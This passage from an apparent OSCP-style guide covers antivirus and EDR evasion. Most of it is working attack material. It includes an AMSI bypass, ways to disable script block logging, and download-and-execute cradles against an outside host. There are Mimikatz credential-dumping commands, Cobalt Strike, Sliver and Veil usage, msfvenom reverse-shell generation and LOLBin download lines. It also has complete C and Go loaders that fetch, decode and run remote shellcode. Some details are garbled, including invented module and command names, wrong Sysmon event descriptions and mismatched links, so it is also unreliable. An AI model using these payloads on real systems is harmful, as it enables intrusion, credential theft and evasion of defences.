AMSI API monitoring Monitor calls to AmsiScanBuffer
Memory integrity Check for patched AMSI functions
Behavioral analysis Detect bypass patterns
ETW logging Log AMSI-related events

10. Script Block Logging Bypass

10.1 What is Script Block Logging?

PowerShell Script Block Logging (Event ID 4104) logs all script blocks:

Feature Description
Event ID 4104 in Windows PowerShell Operational log
Content Full script block text, including decoded content
Purpose Audit and detect malicious PowerShell usage
Enabled by Group Policy or registry

10.2 What Gets Logged

Log Name: Windows PowerShell/Operational
Source: Microsoft-Windows-PowerShell
Event ID: 4104
Task Category: Script Block Invocation
Level: Information

The log includes:
- Full script text (decoded)
- Script block ID
- Parent script block ID
- Invocation name
- Script path

10.3 Bypass Techniques

Technique 1: Disable Logging

# Disable script block logging via registry
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0

# Disable via Group Policy
Disable-PSLogging

Technique 2: Invoke-Obfuscation

# Use Invoke-Obfuscation to bypass logging
Import-Module Invoke-Obfuscation
Invoke-Obfuscation -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/payload.ps1')" -OptCommand 1 -ResolverCount 50

Technique 3: Encoded Commands

# Use -enc parameter (still logged but harder to read)
powershell -enc BASE64_ENCODED_COMMAND

# Multi-layer encoding
powershell -enc $( [Convert]::ToBase64String(
    [System.Text.Encoding]::Unicode.GetBytes(
        "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/payload.ps1')"
    )
) )

Technique 4: Alternative Execution

# Use .NET directly instead of PowerShell cmdlets
$webClient = New-Object System.Net.WebClient
$script = $webClient.DownloadString("http://10.10.14.5/payload.ps1")
Invoke-Expression $script

# Use COM objects
$com = New-Object -ComObject ScriptControl
$com.Language = "JScript"
$com.AddCode("function exec(){var s=new ActiveXObject('WScript.Shell').Run('calc');}")
$com.Run("exec")

10.4 Detection and Monitoring

Detection Method Description
Event 4104 analysis Monitor for suspicious script blocks
Encoded command detection Flag excessive encoded commands
Parent-child monitoring Track PowerShell spawning patterns
Baseline comparison Compare against normal behavior

11. Defense Against EDR Solutions

11.1 What is EDR?

Endpoint Detection and Response (EDR) goes beyond traditional AV:

Feature AV EDR
Detection Signature-based Behavioral + AI/ML
Response Quarantine Isolate, remediate, investigate
Visibility Limited Full endpoint visibility
Investigation Basic Deep forensic capabilities
Threat hunting No Yes, proactive hunting

11.2 Common EDR Solutions

Vendor Product Key Features
Microsoft Defender for Endpoint Native integration, cloud-based
CrowdStrike Falcon Cloud-native, lightweight agent
SentinelOne SentinelOne AI-driven, autonomous response
Carbon Black Cb Response VMware, deep visibility
Cybereason Cybereason XDR, threat hunting
Trend Micro Apex One Hybrid cloud, URL filtering
Palo Alto Cortex XDR Network + endpoint correlation
Sophos Intercept X Ransomware protection

11.3 EDR Detection Methods

Method Description
API hooking Hook Windows APIs to monitor calls
Kernel drivers Kernel-mode monitoring
ETW providers Event Tracing for Windows
Memory scanning Scan process memory
Network monitoring Monitor network traffic
File system filtering Monitor file operations
Registry monitoring Track registry changes
Process tree analysis Analyze process relationships

11.4 EDR Evasion Strategies

Strategy 1: Unhooking APIs

// Find unhooked ntdll.dll in csrss.exe
HANDLE hCsrss = OpenProcess(PROCESS_VM_READ, FALSE, csrss_pid);
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
// Copy unhooked functions from csrss

Strategy 2: Direct Syscalls

// Use direct syscalls instead of API calls
// Bypasses user-mode hooks
SYSCALL NtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);

Strategy 3: Sleep Obfuscation

# Instead of Start-Sleep (detectable)
# Use RtlSleep or other techniques
$code = @'
[DllImport("ntdll.dll")]
public static extern uint NtDelayExecution(
    bool Alertable, 
    ref long DelayInterval
);
'@
Add-Type $code

Strategy 4: Process Argument Spoofing

# Hide command line arguments
# Use STARTUPINFO with CREATE_SUSPENDED
# Then modify command line before resuming

11.5 Evasion Technique Comparison

Technique Effectiveness Risk Complexity
Unhooking High Medium High
Direct syscalls High Low High
Sleep obfuscation Medium Low Medium
Argument spoofing Medium Low Medium
AMSI bypass High Medium Low
LotL techniques Medium Low Low
Custom payloads High Low Very High

11.6 Detection Avoidance Checklist

  • Use unique, custom payloads
  • Apply AMSI bypass early
  • Use living-off-the-land binaries
  • Obfuscate command lines
  • Avoid well-known tool signatures
  • Use encrypted C2 communication
  • Implement sleep obfuscation
  • Use direct syscalls where possible
  • Mimic legitimate behavior patterns
  • Test against target EDR before operation

12. Mimikatz Delivery Techniques

12.1 What is Mimikatz?

Mimikatz is a tool for extracting credentials from Windows memory:

Capability Description
Password extraction Extract plaintext passwords from LSASS
Hash extraction Extract NTLM and LM hashes
Kerberos tickets Extract and manipulate Kerberos tickets
Pass-the-hash Use extracted hashes for authentication
Golden ticket Create forged Kerberos tickets

12.2 Delivery Methods

Method 1: Direct Download and Execute

# Download and run mimikatz
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

Method 2: Base64 Encoded

# Encode mimikatz commands
$commands = @"
privilege::debug
sekurlsa::logonpasswords
exit
"@

# Base64 encode and execute
$b64 = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($commands))
mimikatz.exe "/command priv::debug" "/command sekurlsa::logonpasswords" "/exit"

Method 3: PowerShell Invoke-Mimikatz

# Download Invoke-Mimikatz PowerShell module
IEX Iwr 'http://10.10.14.5/Invoke-Mimikatz.ps1' -UseBasicParsing

# Execute
Invoke-Mimikatz -DumpCreds

# Specific extraction
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

Method 4: Via Metasploit

# Metasploit mimikatz module
use post/windows/gather/sampler_credentials
set SESSION 1
run

# Or use the mimikatz module directly
use post/windows/gather/mimikatz
set SESSION 1
run

12.3 Mimikatz Commands

Command Description
privilege::debug Enable debug privilege
sekurlsa::logonpasswords Extract all logon passwords
sekurlsa::kerberos Extract Kerberos tickets
sekurlsa::tickets List all tickets
kerberos::list List Kerberos tickets
lsadump::sam Dump SAM database
lsadump::secrets Dump LSA secrets
token::elevate Elevate token privileges
sekurlsa::pth Pass-the-hash

12.4 Detection and Evasion

Detection Evasion
LSASS access Use alternative extraction methods
mimikatz hash Use custom builds, change strings
API calls Use direct syscalls
Command line Use encoded/obfuscated commands
Network traffic Use local execution, no download

12.5 Alternatives to Mimikatz

Tool Description
Rubeus Kerberos attack tool
LaZagne Password recovery tool
NinjaCopy Secure file copy
SharpChrome Browser password extraction
Credential Manager Windows credential extraction

13. Cobalt Strike Basics

13.1 What is Cobalt Strike?

Cobalt Strike is a red team platform for adversary simulation:

Feature Description
C2 Framework Command and control infrastructure
Social Engineering Phishing, credential harvesting
Post-Exploitation Lateral movement, privilege escalation
Team Server Central coordination server
Listeners Multiple protocol support
Beacons Persistent, configurable implants

13.2 Architecture

graph TD
    A[Team Server] --> B[Aggressor Console]
    A --> C[Beacon 1]
    A --> D[Beacon 2]
    A --> E[Beacon 3]
    C --> F[Target 1]
    D --> G[Target 2]
    E --> H[Target 3]

    style A fill:#ff6b6b
    style B fill:#ffd93d
    style C fill:#6bcb77
    style D fill:#6bcb77
    style E fill:#6bcb77

13.3 Key Concepts

Concept Description
Team Server Central server managing all operations
Listener Configuration for incoming connections
Beacon Persistent implant on target
Payload Initial access payload
Sleeper Beacon waiting for activation
Malleable C2 Customizable C2 profile
Artifact Kit Custom payload generation

13.4 Listener Types

Type Description
HTTP/S Web-based C2 communication
DNS DNS-based C2 (harder to block)
SMB SMB-based C2
TCP Raw TCP C2
Multi/SSL SSL-wrapped multi-protocol

13.5 Malleable C2 Profile

# Example malleable C2 profile snippet
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/css/bootstrap.css";
    client {
        metadata {
            base64;
            prepend "Referer: ";
            header "Referer";
        }
    }
    server {
        header "Content-Type" "text/css";
        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/images/logo.png";
    client {
        parameter {
            base64;
            value;
        }
    }
    server {
        output {
            print;
        }
    }
}

13.6 Beacon Commands

Command Description
shell Execute shell command
execute-assembly Load .NET assembly
ps List processes
pid Get current PID
migrate Migrate to another process
steal_token Steal process token
impersonate_token Impersonate token
runas Run as different user
socks Start SOCKS proxy
portscan Scan ports
golden_smb Pass-the-hash
silver_smb Pass-the-ticket

14. Sliver C2 Framework

14.1 What is Sliver?

Sliver is an open-source C2 framework:

Feature Description
Open Source Free and community-driven
Cross-platform Windows, Linux, macOS
Go-based Written in Go, easy to compile
Modern Active development, up-to-date
Encrypted TLS encryption by default

14.2 Architecture

graph TD
    A[Sliver C2 Server] --> B[Implant 1]
    A --> C[Implant 2]
    A --> D[Implant 3]
    B --> E[Windows Target]
    C --> F[Linux Target]
    D --> G[macOS Target]

    style A fill:#ff6b6b
    style B fill:#6bcb77
    style C fill:#6bcb77
    style D fill:#6bcb77

14.3 Setup and Usage

# Generate implant
sliver-generate -o implant.exe -p windows

# Start C2 server
sliver-server

# Generate payload with specific options
sliver-generate -o implant.exe -p windows \
  -l 10.10.14.5:443 \
  --transport tcp \
  --encrypt

14.4 Sliver vs Cobalt Strike

Feature Sliver Cobalt Strike
Cost Free Expensive
Open Source Yes No
Community Growing Established
Features Core features Extensive
Support Community Commercial
Detection Lower profile Well-known
Customization High High

15. Veil Framework

15.1 What is Veil?

Veil is a framework for generating AV-evasive payloads:

Component Description
Veil-Evasion Payload generation with evasion
Veil-Odin Payload packaging and delivery
Evasions Multiple evasion techniques
Templates Pre-built evasion templates

15.2 Veil-Evasion Payloads

Payload Description
python/meterpreter/rev_tcp Python meterpreter
c/meterpreter/rev_tcp C meterpreter
c/meterpreter/rev_tcp_aev C with AV evasion
c/meterpreter/rev_https_aev C with HTTPS and AV evasion
powershell/meterpreter/rev_tcp PowerShell meterpreter
autoinject/meterpreter/rev_tcp Auto-injecting meterpreter

15.3 Usage

# Start Veil
veil

# Select payload
use 1
set LHOST 10.10.14.5
set LPORT 443
generate

# Set output options
set Name payload
set OutputPath /root/veil/
generate

15.4 Veil Evasion Techniques

Technique Description
Code virtualization Virtualize payload code
String encryption Encrypt sensitive strings
API hashing Hash API names
Custom packing Custom payload packing
Template injection Inject into legitimate binaries

16. Custom Payload Development

16.1 Why Custom Payloads?

Reason Description
Unique signatures No known signatures in AV databases
Control Full control over behavior
Optimization Tailored to specific targets
Evasion Bypass detection more effectively
Learning Deep understanding of techniques

16.2 Development Workflow

graph TD
    A[Requirement Analysis] --> B[Design]
    B --> C[Implementation]
    C --> D[Testing]
    D --> E{Passes AV?}
    E -->|No| F[Modify and Retry]
    F --> C
    E -->|Yes| G[Deployment]
    G --> H[Monitoring]
    H --> I{Detected?}
    I -->|Yes| J[Update Payload]
    J --> C
    I -->|No| K[Continue Operation]

16.3 Custom Payload in C

#include <windows.h>
#include <wininet.h>
#include <stdio.h>

#pragma comment(lib, "wininet.lib")

// XOR decoder
void decode(unsigned char* data, int len, unsigned char key) {
    for (int i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

// Download payload from URL
BOOL downloadPayload(LPWSTR url, BYTE** outData, DWORD* outSize) {
    HINTERNET hInternet = InternetOpenW(L"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) return FALSE;

    HINTERNET hConnect = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_SECURE, 0);
    if (!hConnect) {
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    DWORD totalSize = 0;
    DWORD bytesRead = 0;
    BYTE buffer[4096];
    *outData = NULL;

    while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
        *outData = (BYTE*)realloc(*outData, totalSize + bytesRead);
        memcpy(*outData + totalSize, buffer, bytesRead);
        totalSize += bytesRead;
    }

    *outSize = totalSize;
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return TRUE;
}

int main() {
    BYTE* payload = NULL;
    DWORD payloadSize = 0;

    // Download payload
    if (downloadPayload(L"https://10.10.14.5/payload.bin", &payload, &payloadSize)) {
        // Decode payload
        decode(payload, payloadSize, 0xAA);

        // Allocate memory and execute
        LPVOID execMem = VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (execMem) {
            memcpy(execMem, payload, payloadSize);
            ((void(*)())execMem)();
        }

        free(payload);
    }

    return 0;
}

16.4 Custom Payload in Go

package main

import (
    "crypto/rand"
    "encoding/base64"
    "net/http"
    "os"
    "os/exec"
    "syscall"
)

func xorDecode(data []byte, key byte) []byte {
    decoded := make([]byte, len(data))
    for i, b := range data {
        decoded[i] = b ^ key
    }
    return decoded
}

func main() {
    // Generate random user agent
    ua := make([]byte, 16)
    rand.Read(ua)
    userAgent := base64.StdEncoding.EncodeToString(ua)

    // Download payload
    req, _ := http.Get("https://10.10.14.5/payload.bin")
    defer req.Body.Close()

    // Read response
    payload := make([]byte, req.ContentLength)
    req.Body.Read(payload)

    // Decode and execute via PowerShell
    encoded := base64.StdEncoding.EncodeToString(xorDecode(payload, 0xAA))
    cmd := exec.Command("powershell", "-nop", "-noni", "-w", "hidden", "-enc", encoded)
    cmd.SysProcAttr = &syscall.SysProcAttr{
        HideWindow: true,
    }
    cmd.Run()
}

16.5 Testing Checklist

  • Test on target OS version
  • Test against target AV/EDR
  • Verify functionality works
  • Check for crashes or instability
  • Verify no debug artifacts
  • Test network connectivity
  • Verify C2 communication
  • Test persistence mechanisms
  • Verify privilege escalation
  • Test lateral movement

16.6 Resources and Tools

Resource Description
AV Evasion Repository https://github.com/r00t-3xp10it/AV_AntiVirus_Bypass
Awesome Windows Privilege Escalation https://github.com/swisskyrepo/PayloadsAllTheThings
LOLBAS https://lolbas-project.github.io/
GTFOBins https://gtfobins.github.io/
Red Team Notes https://www.ired.team/
HackTricks https://book.hacktricks.xyz/
PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings

Appendix A: Quick Reference Commands

msfvenom Quick Reference

# List all payloads
msfvenom -l payloads

# List all encoders
msfvenom -l encoders

# List all formats
msfvenom -l formats

# Generate payload with encoding
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=443 \
  -e x86/shikata_ga_nai -i 5 \
  -b '\x00' -f exe -o payload.exe

PowerShell Quick Reference

# Download cradle
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/payload.ps1")

# AMSI bypass
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)

# Execute encoded command
powershell -enc BASE64_STRING

# Download file
Invoke-WebRequest -Uri "http://10.10.14.5/file.exe" -OutFile "$env:TEMP\file.exe"

LotL Quick Reference

# CertUtil download
certutil -urlcache -split -f http://10.10.14.5/payload.exe payload.exe

# bitsadmin download
bitsadmin /transfer "download" http://10.10.14.5/payload.exe C:\Users\Public\payload.exe

# regsvr32 DLL sideloading
regsvr32 /s /n /u /i:http://10.10.14.5/payload.sct scrobj.dll

# mshta execution
mshta http://10.10.14.5/payload.hta

Appendix B: Detection Signatures

Sysmon Events to Monitor

Event ID Description
1 Process creation
3 Network connection
7 Image load (DLL)
9 Pipe created
10 Pipe connected
11 Process tampering
12 File creation time
13 File creation
15 Timer creation
19 Remote thread
22 DNS query
23 Process access
25 File delete

Windows Event IDs

Event ID Log Description
4104 PowerShell Script block logging
4103 PowerShell Module logging
4688 Security Process creation
4672 Security Special privileges assigned
4624 Security Logon success
4625 Security Logon failure
4673 Security Privilege used
4697 Security Service installed
7045 System Service installed
1 Sysmon Process creation

IMPORTANT: This guide is for educational purposes and authorized security testing only.

Principle Description
Authorization Always have written authorization before testing
Scope Stay within the defined scope of engagement
Disclosure Report findings responsibly
Privacy Respect privacy and data protection laws
Compliance Follow local laws and regulations
Professionalism Maintain professional conduct

OSCP Exam Context

  • OSCP exams are conducted in a controlled lab environment
  • All targets are authorized for testing
  • Follow the exam rules and guidelines
  • Document all findings properly
  • Maintain professional ethics

References

  1. Offensive Security - https://www.offensive-security.com/
  2. LOLBAS Project - https://lolbas-project.github.io/
  3. PayloadsAllTheThings - https://github.com/swisskyrepo/PayloadsAllTheThings
  4. GTFOBins - https://gtfobins.github.io/
  5. Red Team Notes - https://www.ired.team/
  6. HackTricks - https://book.hacktricks.xyz/
  7. Attack Detection - https://github.com/OTRF/attack-detection
  8. Awesome Windows Privilege Escalation - https://github.com/burntmybagel/Awesome-Windows-Privilege-Escalation

End of Chapter: Antivirus Evasion

This guide is intended for educational purposes and authorized penetration testing engagements only.